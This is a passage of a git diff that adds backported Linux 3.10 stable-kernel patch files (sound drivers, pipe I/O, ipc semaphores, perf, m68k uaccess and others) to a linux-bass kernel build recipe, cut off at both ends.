? MAX_ALIGN_PAGES1 : MAX_ALIGN_PAGES0); + + /* remove links */ + list_del(&blk->mapped_link); +@@ -305,7 +306,7 @@ snd_emu10k1_alloc_pages(struct snd_emu10k1 *emu, struct snd_pcm_substream *subst + if (snd_BUG_ON(!emu)) + return NULL; + if (snd_BUG_ON(runtime->dma_bytes <= 0 || +- runtime->dma_bytes >= MAXPAGES * EMUPAGESIZE)) ++ runtime->dma_bytes >= (emu->address_mode ? MAXPAGES1 : MAXPAGES0) * EMUPAGESIZE)) + return NULL; + hdr = emu->memhdr; + if (snd_BUG_ON(!hdr)) +diff --git a/sound/pci/hda/hda_codec.c b/sound/pci/hda/hda_codec.c +index 83a0f9b4452b..68261a778ee5 100644 +--- a/sound/pci/hda/hda_codec.c ++++ b/sound/pci/hda/hda_codec.c +@@ -2078,6 +2078,16 @@ int snd_hda_codec_amp_init_stereo(struct hda_codec *codec, hda_nid_t nid, + } + EXPORT_SYMBOL_HDA(snd_hda_codec_amp_init_stereo); + ++/* meta hook to call each driver's vmaster hook */ ++static void vmaster_hook(void *private_data, int enabled) ++{ ++ struct hda_vmaster_mute_hook *hook = private_data; ++ ++ if (hook->mute_mode != HDA_VMUTE_FOLLOW_MASTER) ++ enabled = hook->mute_mode; ++ hook->hook(hook->codec, enabled); ++} ++ + /** + * snd_hda_codec_resume_amp - Resume all AMP commands from the cache + * @codec: HD-audio codec +@@ -2772,9 +2782,9 @@ int snd_hda_add_vmaster_hook(struct hda_codec *codec, + + if (!hook->hook || !hook->sw_kctl) + return 0; +- snd_ctl_add_vmaster_hook(hook->sw_kctl, hook->hook, codec); + hook->codec = codec; + hook->mute_mode = HDA_VMUTE_FOLLOW_MASTER; ++ snd_ctl_add_vmaster_hook(hook->sw_kctl, vmaster_hook, hook); + if (!expose_enum_ctl) + return 0; + kctl = snd_ctl_new1(&vmaster_mute_mode, hook); +@@ -2797,14 +2807,7 @@ void snd_hda_sync_vmaster_hook(struct hda_vmaster_mute_hook *hook) + */ + if (hook->codec->bus->shutdown) + return; +- switch (hook->mute_mode) { +- case HDA_VMUTE_FOLLOW_MASTER: +- snd_ctl_sync_vmaster_hook(hook->sw_kctl); +- break; +- default: +- hook->hook(hook->codec, hook->mute_mode); +- break; +- } ++ snd_ctl_sync_vmaster_hook(hook->sw_kctl); + } + EXPORT_SYMBOL_HDA(snd_hda_sync_vmaster_hook); + +diff --git a/sound/synth/emux/emux_oss.c b/sound/synth/emux/emux_oss.c +index 319754cf6208..daf61abc3670 100644 +--- a/sound/synth/emux/emux_oss.c ++++ b/sound/synth/emux/emux_oss.c +@@ -118,12 +118,8 @@ snd_emux_open_seq_oss(struct snd_seq_oss_arg *arg, void *closure) + if (snd_BUG_ON(!arg || !emu)) + return -ENXIO; + +- mutex_lock(&emu->register_mutex); +- +- if (!snd_emux_inc_count(emu)) { +- mutex_unlock(&emu->register_mutex); ++ if (!snd_emux_inc_count(emu)) + return -EFAULT; +- } + + memset(&callback, 0, sizeof(callback)); + callback.owner = THIS_MODULE; +@@ -135,7 +131,6 @@ snd_emux_open_seq_oss(struct snd_seq_oss_arg *arg, void *closure) + if (p == NULL) { + snd_printk(KERN_ERR "can't create port\n"); + snd_emux_dec_count(emu); +- mutex_unlock(&emu->register_mutex); + return -ENOMEM; + } + +@@ -148,8 +143,6 @@ snd_emux_open_seq_oss(struct snd_seq_oss_arg *arg, void *closure) + reset_port_mode(p, arg->seq_mode); + + snd_emux_reset_port(p); +- +- mutex_unlock(&emu->register_mutex); + return 0; + } + +@@ -195,13 +188,11 @@ snd_emux_close_seq_oss(struct snd_seq_oss_arg *arg) + if (snd_BUG_ON(!emu)) + return -ENXIO; + +- mutex_lock(&emu->register_mutex); + snd_emux_sounds_off_all(p); + snd_soundfont_close_check(emu->sflist, SF_CLIENT_NO(p->chset.port)); + snd_seq_event_port_detach(p->chset.client, p->chset.port); + snd_emux_dec_count(emu); + +- mutex_unlock(&emu->register_mutex); + return 0; + } + +diff --git a/sound/synth/emux/emux_seq.c b/sound/synth/emux/emux_seq.c +index 7778b8e19782..a0209204ae48 100644 +--- a/sound/synth/emux/emux_seq.c ++++ b/sound/synth/emux/emux_seq.c +@@ -124,12 +124,10 @@ snd_emux_detach_seq(struct snd_emux *emu) + if (emu->voices) + snd_emux_terminate_all(emu); + +- mutex_lock(&emu->register_mutex); + if (emu->client >= 0) { + snd_seq_delete_kernel_client(emu->client); + emu->client = -1; + } +- mutex_unlock(&emu->register_mutex); + } + + +@@ -269,8 +267,8 @@ snd_emux_event_input(struct snd_seq_event *ev, int direct, void *private_data, + /* + * increment usage count + */ +-int +-snd_emux_inc_count(struct snd_emux *emu) ++static int ++__snd_emux_inc_count(struct snd_emux *emu) + { + emu->used++; + if (!try_module_get(emu->ops.owner)) +@@ -284,12 +282,21 @@ snd_emux_inc_count(struct snd_emux *emu) + return 1; + } + ++int snd_emux_inc_count(struct snd_emux *emu) ++{ ++ int ret; ++ ++ mutex_lock(&emu->register_mutex); ++ ret = __snd_emux_inc_count(emu); ++ mutex_unlock(&emu->register_mutex); ++ return ret; ++} + + /* + * decrease usage count + */ +-void +-snd_emux_dec_count(struct snd_emux *emu) ++static void ++__snd_emux_dec_count(struct snd_emux *emu) + { + module_put(emu->card->module); + emu->used--; +@@ -298,6 +305,12 @@ snd_emux_dec_count(struct snd_emux *emu) + module_put(emu->ops.owner); + } + ++void snd_emux_dec_count(struct snd_emux *emu) ++{ ++ mutex_lock(&emu->register_mutex); ++ __snd_emux_dec_count(emu); ++ mutex_unlock(&emu->register_mutex); ++} + + /* + * Routine that is called upon a first use of a particular port +@@ -317,7 +330,7 @@ snd_emux_use(void *private_data, struct snd_seq_port_subscribe *info) + + mutex_lock(&emu->register_mutex); + snd_emux_init_port(p); +- snd_emux_inc_count(emu); ++ __snd_emux_inc_count(emu); + mutex_unlock(&emu->register_mutex); + return 0; + } +@@ -340,7 +353,7 @@ snd_emux_unuse(void *private_data, struct snd_seq_port_subscribe *info) + + mutex_lock(&emu->register_mutex); + snd_emux_sounds_off_all(p); +- snd_emux_dec_count(emu); ++ __snd_emux_dec_count(emu); + mutex_unlock(&emu->register_mutex); + return 0; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0003.diff b/recipes-kernel/linux/linux-bass/autopatcher/0003.diff new file mode 100644 index 0000000..b14a1fe --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0003.diff @@ -0,0 +1,263 @@ +diff --git a/Makefile b/Makefile +index 6d19e37d36d5..5e3e665a10b7 100644 +--- a/Makefile ++++ b/Makefile +@@ -1,6 +1,6 @@ + VERSION = 3 + PATCHLEVEL = 10 +-SUBLEVEL = 81 ++SUBLEVEL = 82 + EXTRAVERSION = + NAME = TOSSUG Baby Fish + +diff --git a/drivers/crypto/caam/caamrng.c b/drivers/crypto/caam/caamrng.c +index d1939a9539c0..04aefffb4dd9 100644 +--- a/drivers/crypto/caam/caamrng.c ++++ b/drivers/crypto/caam/caamrng.c +@@ -56,7 +56,7 @@ + + /* Buffer, its dma address and lock */ + struct buf_data { +- u8 buf[RN_BUF_SIZE]; ++ u8 buf[RN_BUF_SIZE] ____cacheline_aligned; + dma_addr_t addr; + struct completion filled; + u32 hw_desc[DESC_JOB_O_LEN]; +diff --git a/drivers/gpu/drm/mgag200/mgag200_mode.c b/drivers/gpu/drm/mgag200/mgag200_mode.c +index f6341e8622ee..7bd2acce9f81 100644 +--- a/drivers/gpu/drm/mgag200/mgag200_mode.c ++++ b/drivers/gpu/drm/mgag200/mgag200_mode.c +@@ -1487,6 +1487,11 @@ static int mga_vga_mode_valid(struct drm_connector *connector, + return MODE_BANDWIDTH; + } + ++ if ((mode->hdisplay % 8) != 0 || (mode->hsync_start % 8) != 0 || ++ (mode->hsync_end % 8) != 0 || (mode->htotal % 8) != 0) { ++ return MODE_H_ILLEGAL; ++ } ++ + if (mode->crtc_hdisplay > 2048 || mode->crtc_hsync_start > 4096 || + mode->crtc_hsync_end > 4096 || mode->crtc_htotal > 4096 || + mode->crtc_vdisplay > 2048 || mode->crtc_vsync_start > 4096 || +diff --git a/drivers/scsi/lpfc/lpfc_sli.c b/drivers/scsi/lpfc/lpfc_sli.c +index 572579f87de4..90861416b9e9 100644 +--- a/drivers/scsi/lpfc/lpfc_sli.c ++++ b/drivers/scsi/lpfc/lpfc_sli.c +@@ -263,6 +263,16 @@ lpfc_sli4_eq_get(struct lpfc_queue *q) + return NULL; + + q->hba_index = idx; ++ ++ /* ++ * insert barrier for instruction interlock : data from the hardware ++ * must have the valid bit checked before it can be copied and acted ++ * upon. Given what was seen in lpfc_sli4_cq_get() of speculative ++ * instructions allowing action on content before valid bit checked, ++ * add barrier here as well. May not be needed as "content" is a ++ * single 32-bit entity here (vs multi word structure for cq's). ++ */ ++ mb(); + return eqe; + } + +@@ -368,6 +378,17 @@ lpfc_sli4_cq_get(struct lpfc_queue *q) + + cqe = q->qe[q->hba_index].cqe; + q->hba_index = idx; ++ ++ /* ++ * insert barrier for instruction interlock : data from the hardware ++ * must have the valid bit checked before it can be copied and acted ++ * upon. Speculative instructions were allowing a bcopy at the start ++ * of lpfc_sli4_fp_handle_wcqe(), which is called immediately ++ * after our return, to copy data before the valid bit check above ++ * was done. As such, some of the copied data was stale. The barrier ++ * ensures the check is before any data is copied. ++ */ ++ mb(); + return cqe; + } + +diff --git a/fs/pipe.c b/fs/pipe.c +index 0e0752ef2715..3e7ab278bb0c 100644 +--- a/fs/pipe.c ++++ b/fs/pipe.c +@@ -117,25 +117,27 @@ void pipe_wait(struct pipe_inode_info *pipe) + } + + static int +-pipe_iov_copy_from_user(void *to, struct iovec *iov, unsigned long len, +- int atomic) ++pipe_iov_copy_from_user(void *addr, int *offset, struct iovec *iov, ++ size_t *remaining, int atomic) + { + unsigned long copy; + +- while (len > 0) { ++ while (*remaining > 0) { + while (!iov->iov_len) + iov++; +- copy = min_t(unsigned long, len, iov->iov_len); ++ copy = min_t(unsigned long, *remaining, iov->iov_len); + + if (atomic) { +- if (__copy_from_user_inatomic(to, iov->iov_base, copy)) ++ if (__copy_from_user_inatomic(addr + *offset, ++ iov->iov_base, copy)) + return -EFAULT; + } else { +- if (copy_from_user(to, iov->iov_base, copy)) ++ if (copy_from_user(addr + *offset, ++ iov->iov_base, copy)) + return -EFAULT; + } +- to += copy; +- len -= copy; ++ *offset += copy; ++ *remaining -= copy; + iov->iov_base += copy; + iov->iov_len -= copy; + } +@@ -143,25 +145,27 @@ pipe_iov_copy_from_user(void *to, struct iovec *iov, unsigned long len, + } + + static int +-pipe_iov_copy_to_user(struct iovec *iov, const void *from, unsigned long len, +- int atomic) ++pipe_iov_copy_to_user(struct iovec *iov, void *addr, int *offset, ++ size_t *remaining, int atomic) + { + unsigned long copy; + +- while (len > 0) { ++ while (*remaining > 0) { + while (!iov->iov_len) + iov++; +- copy = min_t(unsigned long, len, iov->iov_len); ++ copy = min_t(unsigned long, *remaining, iov->iov_len); + + if (atomic) { +- if (__copy_to_user_inatomic(iov->iov_base, from, copy)) ++ if (__copy_to_user_inatomic(iov->iov_base, ++ addr + *offset, copy)) + return -EFAULT; + } else { +- if (copy_to_user(iov->iov_base, from, copy)) ++ if (copy_to_user(iov->iov_base, ++ addr + *offset, copy)) + return -EFAULT; + } +- from += copy; +- len -= copy; ++ *offset += copy; ++ *remaining -= copy; + iov->iov_base += copy; + iov->iov_len -= copy; + } +@@ -395,7 +399,7 @@ pipe_read(struct kiocb *iocb, const struct iovec *_iov, + struct pipe_buffer *buf = pipe->bufs + curbuf; + const struct pipe_buf_operations *ops = buf->ops; + void *addr; +- size_t chars = buf->len; ++ size_t chars = buf->len, remaining; + int error, atomic; + + if (chars > total_len) +@@ -409,9 +413,11 @@ pipe_read(struct kiocb *iocb, const struct iovec *_iov, + } + + atomic = !iov_fault_in_pages_write(iov, chars); ++ remaining = chars; + redo: + addr = ops->map(pipe, buf, atomic); +- error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic); ++ error = pipe_iov_copy_to_user(iov, addr, &buf->offset, ++ &remaining, atomic); + ops->unmap(pipe, buf, addr); + if (unlikely(error)) { + /* +@@ -426,7 +432,6 @@ redo: + break; + } + ret += chars; +- buf->offset += chars; + buf->len -= chars; + + /* Was it a packet buffer? Clean up and exit */ +@@ -531,6 +536,7 @@ pipe_write(struct kiocb *iocb, const struct iovec *_iov, + if (ops->can_merge && offset + chars <= PAGE_SIZE) { + int error, atomic = 1; + void *addr; ++ size_t remaining = chars; + + error = ops->confirm(pipe, buf); + if (error) +@@ -539,8 +545,8 @@ pipe_write(struct kiocb *iocb, const struct iovec *_iov, + iov_fault_in_pages_read(iov, chars); + redo1: + addr = ops->map(pipe, buf, atomic); +- error = pipe_iov_copy_from_user(offset + addr, iov, +- chars, atomic); ++ error = pipe_iov_copy_from_user(addr, &offset, iov, ++ &remaining, atomic); + ops->unmap(pipe, buf, addr); + ret = error; + do_wakeup = 1; +@@ -575,6 +581,8 @@ redo1: + struct page *page = pipe->tmp_page; + char *src; + int error, atomic = 1; ++ int offset = 0; ++ size_t remaining; + + if (!page) { + page = alloc_page(GFP_HIGHUSER); +@@ -595,14 +603,15 @@ redo1: + chars = total_len; + + iov_fault_in_pages_read(iov, chars); ++ remaining = chars; + redo2: + if (atomic) + src = kmap_atomic(page); + else + src = kmap(page); + +- error = pipe_iov_copy_from_user(src, iov, chars, +- atomic); ++ error = pipe_iov_copy_from_user(src, &offset, iov, ++ &remaining, atomic); + if (atomic) + kunmap_atomic(src); + else +diff --git a/kernel/trace/trace_events_filter.c b/kernel/trace/trace_events_filter.c +index 0a1edc694d67..fe3e086d38e9 100644 +--- a/kernel/trace/trace_events_filter.c ++++ b/kernel/trace/trace_events_filter.c +@@ -1328,19 +1328,24 @@ static int check_preds(struct filter_parse_state *ps) + { + int n_normal_preds = 0, n_logical_preds = 0; + struct postfix_elt *elt; ++ int cnt = 0; + + list_for_each_entry(elt, &ps->postfix, list) { +- if (elt->op == OP_NONE) ++ if (elt->op == OP_NONE) { ++ cnt++; + continue; ++ } + ++ cnt--; + if (elt->op == OP_AND || elt->op == OP_OR) { + n_logical_preds++; + continue; + } + n_normal_preds++; ++ WARN_ON_ONCE(cnt < 0); + } + +- if (!n_normal_preds || n_logical_preds >= n_normal_preds) { ++ if (cnt != 1 || !n_normal_preds || n_logical_preds >= n_normal_preds) { + parse_error(ps, FILT_ERR_INVALID_FILTER, 0); + return -EINVAL; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0004.diff b/recipes-kernel/linux/linux-bass/autopatcher/0004.diff new file mode 100644 index 0000000..b6de808 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0004.diff @@ -0,0 +1,285 @@ +diff --git a/Makefile b/Makefile +index 0d4fd6427349..e94ce68ecf87 100644 +--- a/Makefile ++++ b/Makefile +@@ -1,6 +1,6 @@ + VERSION = 3 + PATCHLEVEL = 10 +-SUBLEVEL = 87 ++SUBLEVEL = 88 + EXTRAVERSION = + NAME = TOSSUG Baby Fish + +diff --git a/arch/arm64/mm/mmap.c b/arch/arm64/mm/mmap.c +index 7c7be7855638..8aaf073ee078 100644 +--- a/arch/arm64/mm/mmap.c ++++ b/arch/arm64/mm/mmap.c +@@ -47,22 +47,14 @@ static int mmap_is_legacy(void) + return sysctl_legacy_va_layout; + } + +-/* +- * Since get_random_int() returns the same value within a 1 jiffy window, we +- * will almost always get the same randomisation for the stack and mmap +- * region. This will mean the relative distance between stack and mmap will be +- * the same. +- * +- * To avoid this we can shift the randomness by 1 bit. +- */ + static unsigned long mmap_rnd(void) + { + unsigned long rnd = 0; + + if (current->flags & PF_RANDOMIZE) +- rnd = (long)get_random_int() & (STACK_RND_MASK >> 1); ++ rnd = (long)get_random_int() & STACK_RND_MASK; + +- return rnd << (PAGE_SHIFT + 1); ++ return rnd << PAGE_SHIFT; + } + + static unsigned long mmap_base(void) +diff --git a/drivers/crypto/caam/caamhash.c b/drivers/crypto/caam/caamhash.c +index 84573b4d6f92..dda43cc4b6cd 100644 +--- a/drivers/crypto/caam/caamhash.c ++++ b/drivers/crypto/caam/caamhash.c +@@ -895,13 +895,14 @@ static int ahash_final_ctx(struct ahash_request *req) + state->buflen_1; + u32 *sh_desc = ctx->sh_desc_fin, *desc; + dma_addr_t ptr = ctx->sh_desc_fin_dma; +- int sec4_sg_bytes; ++ int sec4_sg_bytes, sec4_sg_src_index; + int digestsize = crypto_ahash_digestsize(ahash); + struct ahash_edesc *edesc; + int ret = 0; + int sh_len; + +- sec4_sg_bytes = (1 + (buflen ? 1 : 0)) * sizeof(struct sec4_sg_entry); ++ sec4_sg_src_index = 1 + (buflen ? 1 : 0); ++ sec4_sg_bytes = sec4_sg_src_index * sizeof(struct sec4_sg_entry); + + /* allocate space for base edesc and hw desc commands, link tables */ + edesc = kmalloc(sizeof(struct ahash_edesc) + DESC_JOB_IO_LEN + +@@ -928,7 +929,7 @@ static int ahash_final_ctx(struct ahash_request *req) + state->buf_dma = try_buf_map_to_sec4_sg(jrdev, edesc->sec4_sg + 1, + buf, state->buf_dma, buflen, + last_buflen); +- (edesc->sec4_sg + sec4_sg_bytes - 1)->len |= SEC4_SG_LEN_FIN; ++ (edesc->sec4_sg + sec4_sg_src_index - 1)->len |= SEC4_SG_LEN_FIN; + + append_seq_in_ptr(desc, edesc->sec4_sg_dma, ctx->ctx_len + buflen, + LDST_SGF); +diff --git a/drivers/edac/ppc4xx_edac.c b/drivers/edac/ppc4xx_edac.c +index ef6b7e08f485..5c361f3c66aa 100644 +--- a/drivers/edac/ppc4xx_edac.c ++++ b/drivers/edac/ppc4xx_edac.c +@@ -921,7 +921,7 @@ static int ppc4xx_edac_init_csrows(struct mem_ctl_info *mci, u32 mcopt1) + */ + + for (row = 0; row < mci->nr_csrows; row++) { +- struct csrow_info *csi = &mci->csrows[row]; ++ struct csrow_info *csi = mci->csrows[row]; + + /* + * Get the configuration settings for this +diff --git a/drivers/md/dm-thin-metadata.c b/drivers/md/dm-thin-metadata.c +index 3b1503dc1f13..43f6250baadd 100644 +--- a/drivers/md/dm-thin-metadata.c ++++ b/drivers/md/dm-thin-metadata.c +@@ -1281,8 +1281,8 @@ static int __release_metadata_snap(struct dm_pool_metadata *pmd) + return r; + + disk_super = dm_block_data(copy); +- dm_sm_dec_block(pmd->metadata_sm, le64_to_cpu(disk_super->data_mapping_root)); +- dm_sm_dec_block(pmd->metadata_sm, le64_to_cpu(disk_super->device_details_root)); ++ dm_btree_del(&pmd->info, le64_to_cpu(disk_super->data_mapping_root)); ++ dm_btree_del(&pmd->details_info, le64_to_cpu(disk_super->device_details_root)); + dm_sm_dec_block(pmd->metadata_sm, held_root); + + return dm_tm_unlock(pmd->tm, copy); +diff --git a/drivers/scsi/libfc/fc_fcp.c b/drivers/scsi/libfc/fc_fcp.c +index 09c81b2f2169..42c46dc19537 100644 +--- a/drivers/scsi/libfc/fc_fcp.c ++++ b/drivers/scsi/libfc/fc_fcp.c +@@ -1039,11 +1039,26 @@ restart: + fc_fcp_pkt_hold(fsp); + spin_unlock_irqrestore(&si->scsi_queue_lock, flags); + +- if (!fc_fcp_lock_pkt(fsp)) { ++ spin_lock_bh(&fsp->scsi_pkt_lock); ++ if (!(fsp->state & FC_SRB_COMPL)) { ++ fsp->state |= FC_SRB_COMPL; ++ /* ++ * TODO: dropping scsi_pkt_lock and then reacquiring ++ * again around fc_fcp_cleanup_cmd() is required, ++ * since fc_fcp_cleanup_cmd() calls into ++ * fc_seq_set_resp() and that func preempts cpu using ++ * schedule. May be schedule and related code should be ++ * removed instead of unlocking here to avoid scheduling ++ * while atomic bug. ++ */ ++ spin_unlock_bh(&fsp->scsi_pkt_lock); ++ + fc_fcp_cleanup_cmd(fsp, error); ++ ++ spin_lock_bh(&fsp->scsi_pkt_lock); + fc_io_compl(fsp); +- fc_fcp_unlock_pkt(fsp); + } ++ spin_unlock_bh(&fsp->scsi_pkt_lock); + + fc_fcp_pkt_release(fsp); + spin_lock_irqsave(&si->scsi_queue_lock, flags); +diff --git a/include/drm/drm_pciids.h b/include/drm/drm_pciids.h +index d7b717090f2f..2b5c3bc3b081 100644 +--- a/include/drm/drm_pciids.h ++++ b/include/drm/drm_pciids.h +@@ -150,6 +150,7 @@ + {0x1002, 0x6610, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \ + {0x1002, 0x6611, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \ + {0x1002, 0x6613, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \ ++ {0x1002, 0x6617, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ + {0x1002, 0x6620, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ + {0x1002, 0x6621, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ + {0x1002, 0x6623, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ +diff --git a/ipc/sem.c b/ipc/sem.c +index db9d241af133..47a15192b8b8 100644 +--- a/ipc/sem.c ++++ b/ipc/sem.c +@@ -253,6 +253,16 @@ static void sem_rcu_free(struct rcu_head *head) + } + + /* ++ * spin_unlock_wait() and !spin_is_locked() are not memory barriers, they ++ * are only control barriers. ++ * The code must pair with spin_unlock(&sem->lock) or ++ * spin_unlock(&sem_perm.lock), thus just the control barrier is insufficient. ++ * ++ * smp_rmb() is sufficient, as writes cannot pass the control barrier. ++ */ ++#define ipc_smp_acquire__after_spin_is_unlocked() smp_rmb() ++ ++/* + * Wait until all currently ongoing simple ops have completed. + * Caller must own sem_perm.lock. + * New simple ops cannot start, because simple ops first check +@@ -275,6 +285,7 @@ static void sem_wait_array(struct sem_array *sma) + sem = sma->sem_base + i; + spin_unlock_wait(&sem->lock); + } ++ ipc_smp_acquire__after_spin_is_unlocked(); + } + + /* +@@ -326,8 +337,13 @@ static inline int sem_lock(struct sem_array *sma, struct sembuf *sops, + + /* Then check that the global lock is free */ + if (!spin_is_locked(&sma->sem_perm.lock)) { +- /* spin_is_locked() is not a memory barrier */ +- smp_mb(); ++ /* ++ * We need a memory barrier with acquire semantics, ++ * otherwise we can race with another thread that does: ++ * complex_count++; ++ * spin_unlock(sem_perm.lock); ++ */ ++ ipc_smp_acquire__after_spin_is_unlocked(); + + /* Now repeat the test of complex_count: + * It can't change anymore until we drop sem->lock. +@@ -2049,17 +2065,28 @@ void exit_sem(struct task_struct *tsk) + rcu_read_lock(); + un = list_entry_rcu(ulp->list_proc.next, + struct sem_undo, list_proc); +- if (&un->list_proc == &ulp->list_proc) +- semid = -1; +- else +- semid = un->semid; ++ if (&un->list_proc == &ulp->list_proc) { ++ /* ++ * We must wait for freeary() before freeing this ulp, ++ * in case we raced with last sem_undo. There is a small ++ * possibility where we exit while freeary() didn't ++ * finish unlocking sem_undo_list. ++ */ ++ spin_unlock_wait(&ulp->lock); ++ rcu_read_unlock(); ++ break; ++ } ++ spin_lock(&ulp->lock); ++ semid = un->semid; ++ spin_unlock(&ulp->lock); + ++ /* exit_sem raced with IPC_RMID, nothing to do */ + if (semid == -1) { + rcu_read_unlock(); +- break; ++ continue; + } + +- sma = sem_obtain_object_check(tsk->nsproxy->ipc_ns, un->semid); ++ sma = sem_obtain_object_check(tsk->nsproxy->ipc_ns, semid); + /* exit_sem raced with IPC_RMID, nothing to do */ + if (IS_ERR(sma)) { + rcu_read_unlock(); +diff --git a/kernel/events/core.c b/kernel/events/core.c +index 7daf52c340cd..d9b0aad17dbf 100644 +--- a/kernel/events/core.c ++++ b/kernel/events/core.c +@@ -3993,12 +3993,20 @@ static const struct file_operations perf_fops = { + * to user-space before waking everybody up. + */ + ++static inline struct fasync_struct **perf_event_fasync(struct perf_event *event) ++{ ++ /* only the parent has fasync state */ ++ if (event->parent) ++ event = event->parent; ++ return &event->fasync; ++} ++ + void perf_event_wakeup(struct perf_event *event) + { + ring_buffer_wakeup(event); + + if (event->pending_kill) { +- kill_fasync(&event->fasync, SIGIO, event->pending_kill); ++ kill_fasync(perf_event_fasync(event), SIGIO, event->pending_kill); + event->pending_kill = 0; + } + } +@@ -5153,7 +5161,7 @@ static int __perf_event_overflow(struct perf_event *event, + else + perf_event_output(event, data, regs); + +- if (event->fasync && event->pending_kill) { ++ if (*perf_event_fasync(event) && event->pending_kill) { + event->pending_wakeup = 1; + irq_work_queue(&event->pending); + } +diff --git a/mm/memory-failure.c b/mm/memory-failure.c +index ca96f411b034..f97d709594e6 100644 +--- a/mm/memory-failure.c ++++ b/mm/memory-failure.c +@@ -1473,6 +1473,8 @@ static int get_any_page(struct page *page, unsigned long pfn, int flags) + */ + ret = __get_any_page(page, pfn, 0); + if (!PageLRU(page)) { ++ /* Drop page reference which is from __get_any_page() */ ++ put_page(page); + pr_info("soft_offline: %#lx: unknown non LRU page type %lx\n", + pfn, page->flags); + return -EIO; +diff --git a/scripts/kconfig/streamline_config.pl b/scripts/kconfig/streamline_config.pl +index 4606cdfb859d..7dd7c391b4d8 100644 +--- a/scripts/kconfig/streamline_config.pl ++++ b/scripts/kconfig/streamline_config.pl +@@ -137,7 +137,7 @@ my $ksource = ($ARGV[0] ? $ARGV[0] : '.'); + my $kconfig = $ARGV[1]; + my $lsmod_file = $ENV{'LSMOD'}; + +-my @makefiles = `find $ksource -name Makefile 2>/dev/null`; ++my @makefiles = `find $ksource -name Makefile -or -name Kbuild 2>/dev/null`; + chomp @makefiles; + + my %depends; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0005.diff b/recipes-kernel/linux/linux-bass/autopatcher/0005.diff new file mode 100644 index 0000000..ac354e3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0005.diff @@ -0,0 +1,413 @@ +diff --git a/Makefile b/Makefile +index ba6a94cf354b..25701b67bb6d 100644 +--- a/Makefile ++++ b/Makefile +@@ -1,6 +1,6 @@ + VERSION = 3 + PATCHLEVEL = 10 +-SUBLEVEL = 91 ++SUBLEVEL = 92 + EXTRAVERSION = + NAME = TOSSUG Baby Fish + +diff --git a/arch/m68k/include/asm/uaccess_mm.h b/arch/m68k/include/asm/uaccess_mm.h +index 472c891a4aee..15901db435b9 100644 +--- a/arch/m68k/include/asm/uaccess_mm.h ++++ b/arch/m68k/include/asm/uaccess_mm.h +@@ -90,7 +90,7 @@ asm volatile ("\n" \ + __put_user_asm(__pu_err, __pu_val, ptr, b, d, -EFAULT); \ + break; \ + case 2: \ +- __put_user_asm(__pu_err, __pu_val, ptr, w, d, -EFAULT); \ ++ __put_user_asm(__pu_err, __pu_val, ptr, w, r, -EFAULT); \ + break; \ + case 4: \ + __put_user_asm(__pu_err, __pu_val, ptr, l, r, -EFAULT); \ +@@ -158,7 +158,7 @@ asm volatile ("\n" \ + __get_user_asm(__gu_err, x, ptr, u8, b, d, -EFAULT); \ + break; \ + case 2: \ +- __get_user_asm(__gu_err, x, ptr, u16, w, d, -EFAULT); \ ++ __get_user_asm(__gu_err, x, ptr, u16, w, r, -EFAULT); \ + break; \ + case 4: \ + __get_user_asm(__gu_err, x, ptr, u32, l, r, -EFAULT); \ +@@ -245,7 +245,7 @@ __constant_copy_from_user(void *to, const void __user *from, unsigned long n) + __get_user_asm(res, *(u8 *)to, (u8 __user *)from, u8, b, d, 1); + break; + case 2: +- __get_user_asm(res, *(u16 *)to, (u16 __user *)from, u16, w, d, 2); ++ __get_user_asm(res, *(u16 *)to, (u16 __user *)from, u16, w, r, 2); + break; + case 3: + __constant_copy_from_user_asm(res, to, from, tmp, 3, w, b,); +@@ -326,7 +326,7 @@ __constant_copy_to_user(void __user *to, const void *from, unsigned long n) + __put_user_asm(res, *(u8 *)from, (u8 __user *)to, b, d, 1); + break; + case 2: +- __put_user_asm(res, *(u16 *)from, (u16 __user *)to, w, d, 2); ++ __put_user_asm(res, *(u16 *)from, (u16 __user *)to, w, r, 2); + break; + case 3: + __constant_copy_to_user_asm(res, to, from, tmp, 3, w, b,); +diff --git a/arch/m68k/lib/uaccess.c b/arch/m68k/lib/uaccess.c +index 5e97f2ee7c11..35d1442dee89 100644 +--- a/arch/m68k/lib/uaccess.c ++++ b/arch/m68k/lib/uaccess.c +@@ -52,7 +52,7 @@ unsigned long __generic_copy_from_user(void *to, const void __user *from, + " .long 3b,30b\n" + " .long 5b,50b\n" + " .previous" +- : "=d" (res), "+a" (from), "+a" (to), "=&r" (tmp) ++ : "=d" (res), "+a" (from), "+a" (to), "=&d" (tmp) + : "0" (n / 4), "d" (n & 3)); + + return res; +@@ -96,7 +96,7 @@ unsigned long __generic_copy_to_user(void __user *to, const void *from, + " .long 7b,50b\n" + " .long 8b,50b\n" + " .previous" +- : "=d" (res), "+a" (from), "+a" (to), "=&r" (tmp) ++ : "=d" (res), "+a" (from), "+a" (to), "=&d" (tmp) + : "0" (n / 4), "d" (n & 3)); + + return res; +@@ -141,7 +141,7 @@ unsigned long __clear_user(void __user *to, unsigned long n) + " .long 7b,40b\n" + " .previous" + : "=d" (res), "+a" (to) +- : "r" (0), "0" (n / 4), "d" (n & 3)); ++ : "d" (0), "0" (n / 4), "d" (n & 3)); + + return res; + } +diff --git a/arch/sparc/crypto/aes_glue.c b/arch/sparc/crypto/aes_glue.c +index ded4cee35318..dc78cdd43e0a 100644 +--- 